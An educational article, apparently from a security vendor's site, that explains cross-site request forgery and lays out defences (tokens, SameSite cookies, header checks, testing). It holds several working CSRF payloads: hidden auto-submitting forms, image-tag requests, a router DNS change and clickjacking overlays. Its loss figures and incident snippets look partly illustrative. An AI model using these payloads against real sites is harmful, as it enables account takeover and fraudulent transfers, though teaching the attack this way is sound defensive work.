#
Cross-Site Request Forgery (CSRF) Attacks
HIGH SEVERITY OWASP TOP 10 SESSION ATTACK
Imagine a con artist who forges your signature on a blank check while you aren't looking, and the bank accepts it because the signature looks real. That's essentially what Cross-Site Request Forgery (CSRF) does - it tricks your browser into performing actions you never intended, using your authenticated session.
CSRF is often confused with XSS (Cross-Site Scripting), but they're different:
- XSS steals your data (like passwords or cookies)
- CSRF steals your actions (like transferring money or changing your password)
Simple Example: While you're logged into your bank, you visit a malicious website. That website secretly sends a request to your bank saying "Transfer $5,000 to account X" - and because you're logged in, the bank thinks YOU made that request!
Commonly Misunderstood Attack
CSRF affects any website that relies on cookies for authentication. If you can perform an action while logged in (change password, make purchase, post content), CSRF can make you do it without your knowledge. It's ranked in the OWASP Top 10 and has caused billions in fraudulent transactions.
#
What is CSRF? (In Simple Terms)
When you log into a website (like your bank or social media), the website gives your browser a "session cookie" that says "This is John Doe, he's logged in." Every time your browser talks to that website, it automatically sends this cookie to prove you're logged in.
The Problem: Your browser sends this cookie with EVERY request to that website - even if the request didn't actually come from you!
CSRF exploits this by tricking your browser into making a request you didn't intend. The website receives the request with your valid session cookie and thinks you made it.
#
Real-World Analogies
- You have a checkbook (your logged-in session)
- A criminal writes a check in your name and forges your signature (malicious website sends request)
- The bank cashes the check because the signature looks real (website accepts request with your cookie)
- Money leaves your account, but you never wrote that check!
Imagine your TV remote works through walls. Your neighbor figures this out and starts changing your channels from their apartment. Your TV obeys because it receives valid signals - it doesn't know the signals are coming from next door, not from you!
You give your assistant a stamped letter authorizing bank transactions. An attacker steals the stamp and writes "Give all money to attacker" on their own letter. The bank sees your stamp and executes the transfer - they can't tell you didn't write that letter.
#
How CSRF Works (The Step-by-Step Story)
Let's see how a real CSRF attack happens:
Scenario: Bank Transfer Attack
1. You visit yourbank.com
2. You log in successfully
3. Bank gives your browser a session cookie: session_id=abc123
4. You browse your account, check balance, etc.
1. In another tab, you visit evilsite.com (could be from phishing email)
2. evilsite.com looks harmless - maybe a funny cat video site
3. But hidden in the page is malicious code...
1. Your browser sees the request to yourbank.com
2. It automatically includes your session cookie (session_id=abc123)
3. Request sent: "Transfer $5,000 to attacker's account"
4. Cookie sent: "This request is from authenticated user John Doe"
1. Bank receives request with valid session cookie
2. Bank thinks: "John Doe is logged in and wants to transfer money"
3. Bank executes the transfer
4. $5,000 disappears from your account
5. You never clicked "Transfer" - you were just looking at cat videos!
#
Types of CSRF Attacks
#
1. GET-based CSRF
COMMON EASY TO EXPLOIT
The Vulnerability: Using GET requests for state-changing operations (transfers, deletions, updates).
Attack Vector:
<!-- Simple image tag attack -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<!-- Link attack -->
<a href="https://bank.com/delete-account?confirm=yes">Click here for free money!</a>
<!-- Hidden iframe -->
<iframe src="https://socialmedia.com/post?status=I%20got%20hacked!" style="display:none;"></iframe>
Real Example - Router Attack:
Many home routers have admin panels at 192.168.1.1. Attackers use:
<img src="http://192.168.1.1/admin/change-password?new=hacker123">
Router Hijacking
If you're logged into your router's admin panel and visit this malicious page, your router password changes without your knowledge!
#
2. POST-based CSRF
HIGH IMPACT HARDER BUT POSSIBLE
The Vulnerability: POST requests are not immune to CSRF!
Attack Vector:
<!-- Auto-submitting form -->
<body onload="document.forms[0].submit()">
<form action="https://email.com/change-email" method="POST">
<input type="hidden" name="new_email" value="attacker@evil.com">
</form>
</body>
Attack Workflow:
Victim visits attacker's page
Page automatically submits form
Victim's email address changes to attacker's
Attacker uses "Forgot Password" to take over account
#
3. JSON-based CSRF
API ATTACK MODERN
The Vulnerability: APIs that accept JSON but don't verify CSRF tokens.
Attack Vector:
<script>
fetch('https://api.example.com/change-password', {
method: 'POST',
credentials: 'include', // Include cookies
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
new_password: 'hacked123'
})
});
</script>
CORS Protection
CORS (Cross-Origin Resource Sharing) helps prevent this, but misconfigured CORS policies can still allow it.
#
4. Login CSRF
TRICKY REVERSE ATTACK
The Vulnerability: Forcing a victim to log into attacker's account.
Attack Purpose: Make victim save sensitive data (credit card, search history) into attacker's account.
Attack Vector:
<!-- Forces login to attacker's account -->
<form action="https://shopping.com/login" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="password" value="attackerpass">
</form>
<script>
document.forms[0].submit();
</script>
Victim clicks malicious link
Gets logged into attacker's account (without realizing)
Shops and saves credit card to "their" account
Attacker now has victim's credit card in attacker's account
#
Real-World Attack Scenarios
#
Scenario 1: Social Media Worm (YouTube 2008)
MASS IMPACT SELF-PROPAGATING
The Attack:
A CSRF vulnerability in YouTube allowed attackers to:
- Force users to subscribe to channels
- Force users to rate videos
- Force users to add videos to favorites
How It Worked:
<!-- Embedded on malicious site -->
<img src="https://youtube.com/watch?v=VIDEO_ID&rating=5&subscribe=1">
Impact:
- Thousands of users automatically subscribed to attacker's channel
- Videos artificially boosted in rankings
- Self-propagating through embedded videos
#
Scenario 2: Netflix Account Hijacking (2006)
ACCOUNT TAKEOVER FULL COMPROMISE
The Attack:
Netflix had CSRF vulnerability in:
- Email change functionality
- Password change functionality
- Account settings
Attack Flow:
<!-- Change victim's email -->
<form action="https://netflix.com/account/change-email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<!-- Then use "Forgot Password" -->
<!-- New password sent to attacker's email -->
Impact:
- Complete account takeover
- Access to viewing history, payment methods
- Ability to lock out original owner
#
Scenario 3: Home Router Hijacking
NETWORK COMPROMISE MitM ATTACK
The Attack:
Home routers often have default admin interfaces at 192.168.1.1 with weak CSRF protection.
Attack Payload:
<!-- Malicious website visited by victim -->
<img src="http://192.168.1.1/admin/dns?server=evil-dns-server.com">
Attack Workflow:
Victim browses internet at home
Clicks malicious link or visits compromised website
Hidden request changes router's DNS settings
All internet traffic now goes through attacker's DNS
Attacker can redirect victim to phishing sites
Impact:
- Man-in-the-middle attacks on all devices
- Credential theft
- Malware distribution
#
Scenario 4: Banking Fraud
FINANCIAL LOSS BILLIONS LOST
The Attack:
<!-- Hidden on entertainment website -->
<form action="https://targetbank.com/api/transfer" method="POST" style="display:none;">
<input name="to_account" value="999-88-7777">
<input name="amount" value="5000">
<input name="memo" value="Payment">
</form>
<script>
// Wait 5 seconds (user is distracted)
setTimeout(() => {
document.forms[0].submit();
}, 5000);
</script>
Impact:
- Unauthorized fund transfers
- Billions lost globally to CSRF banking attacks
- Difficult to trace - appears to come from legitimate user
#
Advanced CSRF Techniques
#
1. Using Multiple Requests
CHAINED ATTACK
Attack Chain:
<!-- First change email -->
<img src="https://site.com/change-email?email=attacker@evil.com">
<!-- Wait 2 seconds -->
<script>
setTimeout(() => {
// Then change password
document.getElementById('pwdForm').submit();
}, 2000);
</script>
<form id="pwdForm" action="https://site.com/change-password" method="POST" style="display:none;">
<input name="password" value="hacked123">
</form>
#
2. Clickjacking + CSRF
COMBINED ATTACK
Combined Attack:
<!-- Transparent iframe overlay -->
<iframe src="https://bank.com/confirm-transfer?amount=10000"
style="opacity:0; position:absolute; top:0; left:0; width:100%; height:100%;">
</iframe>
<!-- Visible fake button underneath -->
<button style="position:absolute; top:200px; left:300px;">
Click here for free iPad!
</button>
User Deception
User thinks they're clicking "Free iPad" but actually clicking "Confirm Transfer" on the invisible iframe.
#
3. CSRF with File Upload
FILE SYSTEM
Attack:
<form action="https://site.com/upload-avatar" method="POST" enctype="multipart/form-data">
<input type="hidden" name="avatar" value="malicious_file.php">
</form>
<script>
// Upload malicious file as victim's avatar
document.forms[0].submit();
</script>
#
Prevention and Mitigation
#
1. CSRF Tokens (Synchronizer Token Pattern)
PRIMARY DEFENSE
How It Works:
- Server generates random, unpredictable token for each session
- Token included in forms and required for state-changing requests
- Attacker can't guess or obtain this token (if CORS is configured correctly)
Implementation Examples:
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
csrf = CSRFProtect(app)
# In template
<form method="POST">
{{ ERROR }}
<input name="email">
<button>Update Email</button>
</form>
# Server validates automatically
@app.route('/change-email', methods=['POST'])
def change_email():
# CSRF token checked automatically by decorator
email = request.form.get('email')
current_user.email = email
db.session.commit()
return "Email updated"
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.get('/form', csrfProtection, (req, res) => {
// Generate token
res.render('form', { csrfToken: req.csrfToken() });
});
app.post('/update', csrfProtection, (req, res) => {
// Token validated automatically
// If invalid, request is rejected
res.send('Data updated');
});
<!-- In form -->
<form action="/update" method="POST">
<input type="hidden" name="_csrf" value="">
<input name="data">
<button>Submit</button>
</form>
<?php
session_start();
// Generate CSRF token
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// In form
?>
<form method="POST">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<input name="email">
<button>Update</button>
</form>
<?php
// Validate on submit
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token validation failed');
}
// Process request
$email = $_POST['email'];
// Update email...
}
?>
#
2. SameSite Cookie Attribute
MODERN DEFENSE
Modern Defense:
// Set cookie with SameSite attribute
res.cookie('session', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'Strict' // or 'Lax'
});
SameSite Values:
Cookie only sent on same-site requests
sameSite: 'Strict'
// Cookie sent: user clicks link on yoursite.com → yoursite.com
// Cookie NOT sent: user clicks link on evilsite.com → yoursite.com
Cookie sent on same-site requests and top-level GET navigation
sameSite: 'Lax'
// Cookie sent: user types yoursite.com in browser
// Cookie sent: user clicks link: <a href="yoursite.com">
// Cookie NOT sent: <img src="yoursite.com/transfer">
// Cookie NOT sent: fetch() from another domain
Cookie always sent (must use with Secure)
sameSite: 'None' // Requires secure: true
// Same as old behavior - sent on all requests
Best Practice:
res.cookie('session', sessionId, {
httpOnly: true, // Prevents JavaScript access
secure: true, // HTTPS only
sameSite: 'Lax', // CSRF protection
maxAge: 3600000 // 1 hour
});
#
3. Double Submit Cookie Pattern
STATELESS
How It Works:
- Set random value in cookie
- Require same value in request parameter
- Attacker can't read cookie due to Same-Origin Policy
Implementation:
// Express.js
const crypto = require('crypto');
app.get('/form', (req, res) => {
// Generate random token
const token = crypto.randomBytes(32).toString('hex');
// Set as cookie
res.cookie('csrf-token', token, {
httpOnly: false, // JavaScript needs to read this
sameSite: 'Strict'
});
res.render('form', { csrfToken: token });
});
app.post('/update', (req, res) => {
const cookieToken = req.cookies['csrf-token'];
const bodyToken = req.body.csrf_token;
// Tokens must match
if (!cookieToken || !bodyToken || cookieToken !== bodyToken) {
return res.status(403).send('CSRF validation failed');
}
// Process request
res.send('Updated');
});
#
4. Custom Request Headers
API PROTECTION
For AJAX/Fetch Requests:
// Frontend
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCsrfToken(), // Get from meta tag
'X-Requested-With': 'XMLHttpRequest'
},
credentials: 'include',
body: JSON.stringify({ amount: 100 })
});
// Backend validation
app.post('/api/transfer', (req, res) => {
const csrfToken = req.headers['x-csrf-token'];
if (!csrfToken || !validateToken(csrfToken)) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
// Process transfer
});
Why This Works
Attackers can't set custom headers in simple form submissions or image tags.
#
5. Origin and Referer Header Validation
DEFENSE IN DEPTH
Check Request Origin:
app.post('/api/update', (req, res) => {
const origin = req.headers.origin || req.headers.referer;
const allowedOrigins = [
'https://yoursite.com',
'https://www.yoursite.com'
];
if (!origin || !allowedOrigins.some(allowed => origin.startsWith(allowed))) {
return res.status(403).send('Invalid origin');
}
// Process request
});
Limitations
- Some privacy tools strip Referer header
- Not foolproof - should be used with other methods
#
6. User Interaction Requirements
CRITICAL ACTIONS
For Critical Actions:
// Require re-authentication for sensitive operations
app.post('/delete-account', requireRecentAuth, (req, res) => {
// User must have logged in within last 5 minutes
if (Date.now() - req.session.lastAuth > 300000) {
return res.redirect('/re-authenticate?return=/delete-account');
}
// Process deletion
});
<!-- Or require password confirmation -->
<form method="POST">
<p>To delete your account, enter your password:</p>
<input type="password" name="confirm_password" required>
<button>Delete Account</button>
</form>
#
Testing for CSRF Vulnerabilities
#
Manual Testing Checklist
TESTING GUIDE
Look for requests that:
- Change data (POST, PUT, DELETE)
- Perform actions (transfer money, post content, change settings)
Use browser DevTools or Burp Suite to see the request.
Look for:
- CSRF tokens in forms
- SameSite cookie attributes
- Custom headers required
<!-- test-csrf.html -->
<html>
<body>
<h1>CSRF Test</h1>
<form action="https://targetsite.com/change-email" method="POST">
<input name="email" value="attacker@test.com">
<button>Test CSRF</button>
</form>
</body>
</html>
- Log into target site (Tab 1)
- Open test-csrf.html (Tab 2)
- Click submit
- Check if action succeeded
If successful: CSRF vulnerability exists!
#
Automated Testing
1. Capture request in Burp Proxy
2. Right-click → Engagement tools → Generate CSRF PoC
3. Test generated HTML in browser
# Built-in CSRF scanner
# Active scan detects missing tokens
import requests
# Login to site
session = requests.Session()
session.post('https://target.com/login', data={
'username': 'test',
'password': 'test123'
})
# Try CSRF attack from different origin
csrf_test = requests.post(
'https://target.com/change-email',
data={'email': 'attacker@test.com'},
cookies=session.cookies,
headers={
'Origin': 'https://evil.com',
'Referer': 'https://evil.com'
}
)
if csrf_test.status_code == 200:
print("[VULNERABLE] CSRF attack succeeded!")
else:
print("[PROTECTED] CSRF attack blocked")
#
CSRF vs XSS: Key Differences
Simple Comparison:
- XSS: "Let me see your password"
- CSRF: "Let me use your password without your knowledge"
#
Summary: What You Need to Remember
CSRF (Cross-Site Request Forgery) tricks your browser into performing actions you never intended by exploiting your authenticated session. While you're logged into a website, a malicious site can make requests on your behalf.
The Simple Version:
- What it is: Like someone forging your signature on a check - the bank can't tell you didn't sign it
- Why it's dangerous: Can transfer money, change passwords, post content - all without your knowledge
- How to prevent it: CSRF tokens and SameSite cookies verify requests actually came from your site
Real-World Impact:
- Netflix: Account hijacking (2006)
- YouTube: Forced subscriptions (2008)
- Banking: Billions in fraudulent transfers globally
Key Difference from XSS:
- XSS steals your DATA (cookies, passwords)
- CSRF steals your ACTIONS (transfers, posts, changes)
#
Quick Protection Checklist
For Website Owners & Developers:
DO Use CSRF tokens for all state-changing requests DO Set SameSite cookie attribute (Strict or Lax) DO Use POST for state-changing operations, never GET DO Validate Origin/Referer headers DO Require re-authentication for sensitive actions DO Use framework built-in CSRF protection
DON'T Use GET requests for actions (transfers, deletions, updates) DON'T Trust requests just because they include session cookies DON'T Disable CSRF protection "temporarily" (and forget to re-enable) DON'T Use predictable or short CSRF tokens DON'T Accept requests from any origin without validation
For Regular Users:
TIP Log out of sensitive sites (banking) when done TIP Don't click suspicious links while logged into important accounts TIP Use separate browsers for banking vs casual browsing TIP Clear cookies regularly TIP Be cautious of shortened URLs in emails
#
Additional Resources
Learn More
Layerd AI Guardian Proxy automatically validates CSRF tokens and enforces SameSite cookie policies, protecting against CSRF attacks without code changes. Learn more →
Last updated: November 2025